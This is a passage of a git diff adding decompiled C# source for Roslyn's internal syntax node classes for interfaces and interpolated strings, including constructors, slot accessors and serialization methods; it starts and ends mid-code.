Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Expected O, but got Unknown + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 12; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + TypeParameterListSyntax typeParameterListSyntax = (TypeParameterListSyntax)reader.ReadValue(); + if (typeParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterListSyntax); + typeParameterList = typeParameterListSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + if (parameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + } + BaseListSyntax baseListSyntax = (BaseListSyntax)reader.ReadValue(); + if (baseListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseListSyntax); + baseList = baseListSyntax; + } + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + constraintClauses = val3; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openBraceToken = syntaxToken3; + } + GreenNode val4 = (GreenNode)reader.ReadValue(); + if (val4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val4); + members = val4; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + closeBraceToken = syntaxToken4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken5 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + semicolonToken = syntaxToken5; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeParameterList); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)baseList); + writer.WriteValue((IObjectWritable)(object)constraintClauses); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)members); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static InterfaceDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InterfaceDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InterfaceDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringContentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringContentSyntax.cs new file mode 100644 index 0000000..a2be343 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringContentSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class InterpolatedStringContentSyntax : CSharpSyntaxNode +{ + internal InterpolatedStringContentSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal InterpolatedStringContentSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected InterpolatedStringContentSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringExpressionSyntax.cs new file mode 100644 index 0000000..47ff0bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringExpressionSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InterpolatedStringExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken stringStartToken; + + internal readonly GreenNode? contents; + + internal readonly SyntaxToken stringEndToken; + + public SyntaxToken StringStartToken => stringStartToken; + + public SyntaxList Contents => new SyntaxList(contents); + + public SyntaxToken StringEndToken => stringEndToken; + + internal InterpolatedStringExpressionSyntax(SyntaxKind kind, SyntaxToken stringStartToken, GreenNode? contents, SyntaxToken stringEndToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stringStartToken); + this.stringStartToken = stringStartToken; + if (contents != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(contents); + this.contents = contents; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stringEndToken); + this.stringEndToken = stringEndToken; + } + + internal InterpolatedStringExpressionSyntax(SyntaxKind kind, SyntaxToken stringStartToken, GreenNode? contents, SyntaxToken stringEndToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stringStartToken); + this.stringStartToken = stringStartToken; + if (contents != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(contents); + this.contents = contents; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stringEndToken); + this.stringEndToken = stringEndToken; + } + + internal InterpolatedStringExpressionSyntax(SyntaxKind kind, SyntaxToken stringStartToken, GreenNode? contents, SyntaxToken stringEndToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stringStartToken); + this.stringStartToken = stringStartToken; + if (contents != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(contents); + this.contents = contents; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stringEndToken); + this.stringEndToken = stringEndToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => stringStartToken, + 1 => contents, + 2 => stringEndToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolatedStringExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolatedStringExpression(this); + } + + public InterpolatedStringExpressionSyntax Update(SyntaxToken stringStartToken, SyntaxList contents, SyntaxToken stringEndToken) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (stringStartToken != StringStartToken || contents != Contents || stringEndToken != StringEndToken) + { + InterpolatedStringExpressionSyntax interpolatedStringExpressionSyntax = SyntaxFactory.InterpolatedStringExpression(stringStartToken, contents, stringEndToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + interpolatedStringExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interpolatedStringExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + interpolatedStringExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(interpolatedStringExpressionSyntax, (IEnumerable)annotations); + } + return interpolatedStringExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InterpolatedStringExpressionSyntax(base.Kind, stringStartToken, contents, stringEndToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InterpolatedStringExpressionSyntax(base.Kind, stringStartToken, contents, stringEndToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InterpolatedStringExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + stringStartToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + contents = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + stringEndToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)stringStartToken); + writer.WriteValue((IObjectWritable)(object)contents); + writer.WriteValue((IObjectWritable)(object)stringEndToken); + } + + static InterpolatedStringExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InterpolatedStringExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InterpolatedStringExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringTextSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringTextSyntax.cs new file mode 100644 index 0000000..b3dbe63 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolatedStringTextSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InterpolatedStringTextSyntax : InterpolatedStringContentSyntax +{ + internal readonly SyntaxToken textToken; + + public SyntaxToken TextToken => textToken; + + internal InterpolatedStringTextSyntax(SyntaxKind kind, SyntaxToken textToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)textToken); + this.textToken = textToken; + } + + internal InterpolatedStringTextSyntax(SyntaxKind kind, SyntaxToken textToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)textToken); + this.textToken = textToken; + } + + internal InterpolatedStringTextSyntax(SyntaxKind kind, SyntaxToken textToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)textToken); + this.textToken = textToken; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)textToken; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringTextSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolatedStringText(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolatedStringText(this); + } + + public InterpolatedStringTextSyntax Update(SyntaxToken textToken) + { + if (textToken != TextToken) + { + InterpolatedStringTextSyntax interpolatedStringTextSyntax = SyntaxFactory.InterpolatedStringText(textToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + interpolatedStringTextSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interpolatedStringTextSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + interpolatedStringTextSyntax = GreenNodeExtensions.WithAnnotationsGreen(interpolatedStringTextSyntax, (IEnumerable)annotations); + } + return interpolatedStringTextSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InterpolatedStringTextSyntax(base.Kind, textToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InterpolatedStringTextSyntax(base.Kind, textToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InterpolatedStringTextSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + textToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)textToken); + } + + static InterpolatedStringTextSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InterpolatedStringTextSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InterpolatedStringTextSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationAlignmentClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationAlignmentClauseSyntax.cs new file mode 100644 index 0000000..eb6e505 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationAlignmentClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InterpolationAlignmentClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken commaToken; + + internal readonly ExpressionSyntax value; + + public SyntaxToken CommaToken => commaToken; + + public ExpressionSyntax Value => value; + + internal InterpolationAlignmentClauseSyntax(SyntaxKind kind, SyntaxToken commaToken, ExpressionSyntax value, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)commaToken); + this.commaToken = commaToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + } + + internal InterpolationAlignmentClauseSyntax(SyntaxKind kind, SyntaxToken commaToken, ExpressionSyntax value, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)commaToken); + this.commaToken = commaToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + } + + internal InterpolationAlignmentClauseSyntax(SyntaxKind kind, SyntaxToken commaToken, ExpressionSyntax value) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)commaToken); + this.commaToken = commaToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => commaToken, + 1 => value, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationAlignmentClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolationAlignmentClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolationAlignmentClause(this); + } + + public InterpolationAlignmentClauseSyntax Update(SyntaxToken commaToken, ExpressionSyntax value) + { + if (commaToken != CommaToken || value != Value) + { + InterpolationAlignmentClauseSyntax interpolationAlignmentClauseSyntax = SyntaxFactory.InterpolationAlignmentClause(commaToken, value); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + interpolationAlignmentClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interpolationAlignmentClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + interpolationAlignmentClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(interpolationAlignmentClauseSyntax, (IEnumerable)annotations); + } + return interpolationAlignmentClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InterpolationAlignmentClauseSyntax(base.Kind, commaToken, value, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InterpolationAlignmentClauseSyntax(base.Kind, commaToken, value, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InterpolationAlignmentClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + commaToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + value = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)commaToken); + writer.WriteValue((IObjectWritable)(object)value); + } + + static InterpolationAlignmentClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InterpolationAlignmentClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InterpolationAlignmentClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationFormatClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationFormatClauseSyntax.cs new file mode 100644 index 0000000..6cb4d78 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationFormatClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InterpolationFormatClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken colonToken; + + internal readonly SyntaxToken formatStringToken; + + public SyntaxToken ColonToken => colonToken; + + public SyntaxToken FormatStringToken => formatStringToken; + + internal InterpolationFormatClauseSyntax(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken formatStringToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)formatStringToken); + this.formatStringToken = formatStringToken; + } + + internal InterpolationFormatClauseSyntax(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken formatStringToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)formatStringToken); + this.formatStringToken = formatStringToken; + } + + internal InterpolationFormatClauseSyntax(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken formatStringToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)formatStringToken); + this.formatStringToken = formatStringToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => colonToken, + 1 => formatStringToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationFormatClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolationFormatClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolationFormatClause(this); + } + + public InterpolationFormatClauseSyntax Update(SyntaxToken colonToken, SyntaxToken formatStringToken) + { + if (colonToken != ColonToken || formatStringToken != FormatStringToken) + { + InterpolationFormatClauseSyntax interpolationFormatClauseSyntax = SyntaxFactory.InterpolationFormatClause(colonToken, formatStringToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + interpolationFormatClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interpolationFormatClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + interpolationFormatClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(interpolationFormatClauseSyntax, (IEnumerable)annotations); + } + return interpolationFormatClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InterpolationFormatClauseSyntax(base.Kind, colonToken, formatStringToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InterpolationFormatClauseSyntax(base.Kind, colonToken, formatStringToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InterpolationFormatClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + colonToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + formatStringToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)colonToken); + writer.WriteValue((IObjectWritable)(object)formatStringToken); + } + + static InterpolationFormatClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InterpolationFormatClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InterpolationFormatClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationSyntax.cs new file mode 100644 index 0000000..ab64268 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterpolationSyntax.cs @@ -0,0 +1,195 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InterpolationSyntax : InterpolatedStringContentSyntax +{ + internal readonly SyntaxToken openBraceToken; + + internal readonly ExpressionSyntax expression; + + internal readonly InterpolationAlignmentClauseSyntax? alignmentClause; + + internal readonly InterpolationFormatClauseSyntax? formatClause; + + internal readonly SyntaxToken closeBraceToken; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public ExpressionSyntax Expression => expression; + + public InterpolationAlignmentClauseSyntax? AlignmentClause => alignmentClause; + + public InterpolationFormatClauseSyntax? FormatClause => formatClause; + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal InterpolationSyntax(SyntaxKind kind, SyntaxToken openBraceToken, ExpressionSyntax expression, InterpolationAlignmentClauseSyntax? alignmentClause, InterpolationFormatClauseSyntax? formatClause, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (alignmentClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alignmentClause); + this.alignmentClause = alignmentClause; + } + if (formatClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)formatClause); + this.formatClause = formatClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal InterpolationSyntax(SyntaxKind kind, SyntaxToken openBraceToken, ExpressionSyntax expression, InterpolationAlignmentClauseSyntax? alignmentClause, InterpolationFormatClauseSyntax? formatClause, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (alignmentClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alignmentClause); + this.alignmentClause = alignmentClause; + } + if (formatClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)formatClause); + this.formatClause = formatClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal InterpolationSyntax(SyntaxKind kind, SyntaxToken openBraceToken, ExpressionSyntax expression, InterpolationAlignmentClauseSyntax? alignmentClause, InterpolationFormatClauseSyntax? formatClause, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (alignmentClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alignmentClause); + this.alignmentClause = alignmentClause; + } + if (formatClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)formatClause); + this.formatClause = formatClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBraceToken, + 1 => expression, + 2 => alignmentClause, + 3 => formatClause, + 4 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InterpolationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolation(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolation(this); + } + + public InterpolationSyntax Update(SyntaxToken openBraceToken, ExpressionSyntax expression, InterpolationAlignmentClauseSyntax alignmentClause, InterpolationFormatClauseSyntax formatClause, SyntaxToken closeBraceToken) + { + if (openBraceToken != OpenBraceToken || expression != Expression || alignmentClause != AlignmentClause || formatClause != FormatClause || closeBraceToken != CloseBraceToken) + { + InterpolationSyntax interpolationSyntax = SyntaxFactory.Interpolation(openBraceToken, expression, alignmentClause, formatClause, closeBraceToken); + DiagnosticInfo[] diagnostics = 